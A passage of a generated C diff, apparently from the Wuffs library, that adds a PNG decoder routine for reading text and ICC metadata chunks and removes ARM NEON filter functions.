wuffs_base__status t_0 = wuffs_png__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- } +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} + +-wuffs_png__decoder* +-wuffs_png__decoder__alloc(void) { +- wuffs_png__decoder* x = +- (wuffs_png__decoder*)(calloc(sizeof(wuffs_png__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_png__decoder__initialize( +- x, sizeof(wuffs_png__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ ok: ++ self->private_impl.p_tell_me_more = 0; ++ goto exit; + } +- return x; +-} + +-size_t +-sizeof__wuffs_png__decoder(void) { +- return sizeof(wuffs_png__decoder); +-} ++ goto suspend; ++ suspend: ++ self->private_impl.p_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; + +-// ---------------- Function Implementations ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} + +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func png.decoder.filter_1_distance_4_arm_neon ++// -------- func png.decoder.do_tell_me_more + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_arm_neon( ++static wuffs_base__status ++wuffs_png__decoder__do_tell_me_more( + wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- wuffs_base__slice_u8 v_curr = {0}; +- uint8x8_t v_fa = {0}; +- uint8x8_t v_fx = {0}; ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, v_fa); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, v_fa); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- } +- v_curr.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, v_fa); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; ++ uint8_t v_c8 = 0; ++ uint16_t v_c16 = 0; ++ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_w = &u_w; ++ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint64_t v_num_written = 0; ++ uint64_t v_w_mark = 0; ++ uint64_t v_r_mark = 0; ++ wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; + } +- v_curr.len = 0; + } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon +- +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func png.decoder.filter_3_distance_4_arm_neon ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8x8_t v_fa = {0}; +- uint8x8_t v_fb = {0}; +- uint8x8_t v_fx = {0}; ++ uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more; ++ if (coro_susp_point) { ++ v_zlib_status = self->private_data.s_do_tell_me_more.v_zlib_status; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (((uint64_t)(a_prev.len)) == 0u) { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ if (self->private_impl.f_metadata_fourcc == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ } ++ do { ++ if (self->private_impl.f_metadata_flavor == 3u) { ++ while (true) { ++ if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_y) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); ++ goto exit; ++ } else if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ self->private_impl.f_metadata_flavor, ++ self->private_impl.f_metadata_fourcc, ++ self->private_impl.f_metadata_x, ++ self->private_impl.f_metadata_y, ++ self->private_impl.f_metadata_z); ++ } ++ if (self->private_impl.f_metadata_y >= self->private_impl.f_metadata_z) { ++ goto label__goto_done__break; ++ } ++ self->private_impl.f_metadata_y = self->private_impl.f_metadata_z; ++ status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ } ++ if (self->private_impl.f_metadata_is_zlib_compressed) { ++ if (self->private_impl.f_zlib_is_dirty) { ++ wuffs_private_impl__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, ++ sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ if (self->private_impl.f_ignore_checksum) { ++ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); ++ } ++ } ++ self->private_impl.f_zlib_is_dirty = true; ++ self->private_impl.f_ztxt_hist_pos = 0u; ++ } ++ label__loop__continue:; ++ while (true) { ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ self->private_impl.f_metadata_flavor, ++ self->private_impl.f_metadata_fourcc, ++ self->private_impl.f_metadata_x, ++ self->private_impl.f_metadata_y, ++ self->private_impl.f_metadata_z); ++ } ++ if (self->private_impl.f_metadata_flavor != 4u) { ++ break; ++ } ++ if (self->private_impl.f_metadata_is_zlib_compressed) { ++ if (self->private_impl.f_chunk_type == 1346585449u) { ++ { ++ const bool o_0_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_0_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); ++ v_zlib_status = t_0; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ io2_a_src = o_0_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_0_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_zlib_status)) { ++ self->private_impl.f_metadata_is_zlib_compressed = false; ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { ++ status = v_zlib_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = v_zlib_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } else if (self->private_impl.f_chunk_type == 1951945833u) { ++ { ++ const bool o_1_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_1_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_1 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); ++ v_zlib_status = t_1; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ io2_a_src = o_1_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_1_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_zlib_status)) { ++ self->private_impl.f_metadata_is_zlib_compressed = false; ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { ++ status = v_zlib_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = v_zlib_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ } else if (self->private_impl.f_chunk_type == 1951945850u) { ++ if (self->private_impl.f_ztxt_ri == self->private_impl.f_ztxt_wi) { ++ { ++ wuffs_base__io_buffer* o_2_v_w = v_w; ++ uint8_t* o_2_iop_v_w = iop_v_w; ++ uint8_t* o_2_io0_v_w = io0_v_w; ++ uint8_t* o_2_io1_v_w = io1_v_w; ++ uint8_t* o_2_io2_v_w = io2_v_w; ++ v_w = wuffs_private_impl__io_writer__set( ++ &u_w, ++ &iop_v_w, ++ &io0_v_w, ++ &io1_v_w, ++ &io2_v_w, ++ wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), ++ self->private_impl.f_ztxt_hist_pos); ++ { ++ const bool o_3_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_3_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); ++ v_zlib_status = t_2; ++ iop_v_w = u_w.data.ptr + u_w.meta.wi; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ v_num_written = wuffs_private_impl__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w))); ++ io2_a_src = o_3_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_3_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } ++ } ++ v_w = o_2_v_w; ++ iop_v_w = o_2_iop_v_w; ++ io0_v_w = o_2_io0_v_w; ++ io1_v_w = o_2_io1_v_w; ++ io2_v_w = o_2_io2_v_w; ++ } ++ if (v_num_written > 1024u) { ++ status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ self->private_impl.f_ztxt_ri = 0u; ++ self->private_impl.f_ztxt_wi = ((uint32_t)(v_num_written)); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_ztxt_hist_pos, v_num_written); ++ } ++ while (self->private_impl.f_ztxt_ri < self->private_impl.f_ztxt_wi) { ++ v_c16 = WUFFS_PNG__LATIN_1[self->private_data.f_dst_palette[self->private_impl.f_ztxt_ri]]; ++ if (v_c16 == 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); ++ goto exit; ++ } else if (v_c16 <= 127u) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_ztxt_ri += 1u; ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c16))), iop_a_dst += 1); ++ } else { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_ztxt_ri += 1u; ++ (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c16), iop_a_dst += 2); ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_zlib_status)) { ++ self->private_impl.f_metadata_is_zlib_compressed = false; ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { ++ status = v_zlib_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } else if (v_zlib_status.repr != wuffs_base__suspension__short_write) { ++ status = v_zlib_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_chunk_type); ++ goto exit; ++ } ++ } else if ((self->private_impl.f_chunk_type == 1951945833u) && (self->private_impl.f_metadata_fourcc == 1263947862u)) { ++ while (true) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ goto label__loop__break; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ goto label__loop__continue; ++ } else if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_c8), iop_a_dst += 1); ++ } ++ } else { ++ while (true) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ if (self->private_impl.f_metadata_fourcc == 1263947851u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ goto label__loop__break; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ goto label__loop__continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 == 0u) { ++ self->private_impl.f_chunk_length -= 1u; ++ iop_a_src += 1u; ++ goto label__loop__break; ++ } ++ v_c16 = WUFFS_PNG__LATIN_1[v_c8]; ++ if (v_c16 == 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); ++ goto exit; ++ } else if (v_c16 <= 127u) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ iop_a_src += 1u; ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c16))), iop_a_dst += 1); ++ } else { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ iop_a_src += 1u; ++ (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c16), iop_a_dst += 2); ++ } ++ } ++ } + } +- v_curr.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; ++ label__loop__break:; ++ if (self->private_impl.f_metadata_fourcc == 1263947851u) { ++ self->private_impl.f_metadata_fourcc = 1263947862u; ++ if (self->private_impl.f_chunk_type == 1951945833u) { ++ if (self->private_impl.f_chunk_length <= 1u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 2u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if (v_c8 == 0u) { ++ self->private_impl.f_metadata_is_zlib_compressed = false; ++ } else if (v_c8 == 1u) { ++ self->private_impl.f_metadata_is_zlib_compressed = true; ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if ((v_c8 != 0u) && self->private_impl.f_metadata_is_zlib_compressed) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); ++ goto exit; ++ } ++ self->private_impl.f_metadata_fourcc -= 2u; ++ while (self->private_impl.f_metadata_fourcc != 1263947862u) { ++ self->private_impl.f_metadata_fourcc += 1u; ++ while (true) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ if (v_c8 == 0u) { ++ break; ++ } ++ } ++ } ++ } else if (self->private_impl.f_chunk_type == 1951945850u) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); ++ goto exit; ++ } ++ self->private_impl.f_metadata_is_zlib_compressed = true; ++ } ++ self->private_impl.f_call_sequence &= 239u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + } +- v_curr.len = 0; ++ } while (0); ++ label__goto_done__break:; ++ if (self->private_impl.f_chunk_length != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- } else { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ self->private_data.s_do_tell_me_more.scratch = 4u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (self->private_data.s_do_tell_me_more.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_tell_me_more.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon +- +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func png.decoder.filter_4_distance_3_arm_neon +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct 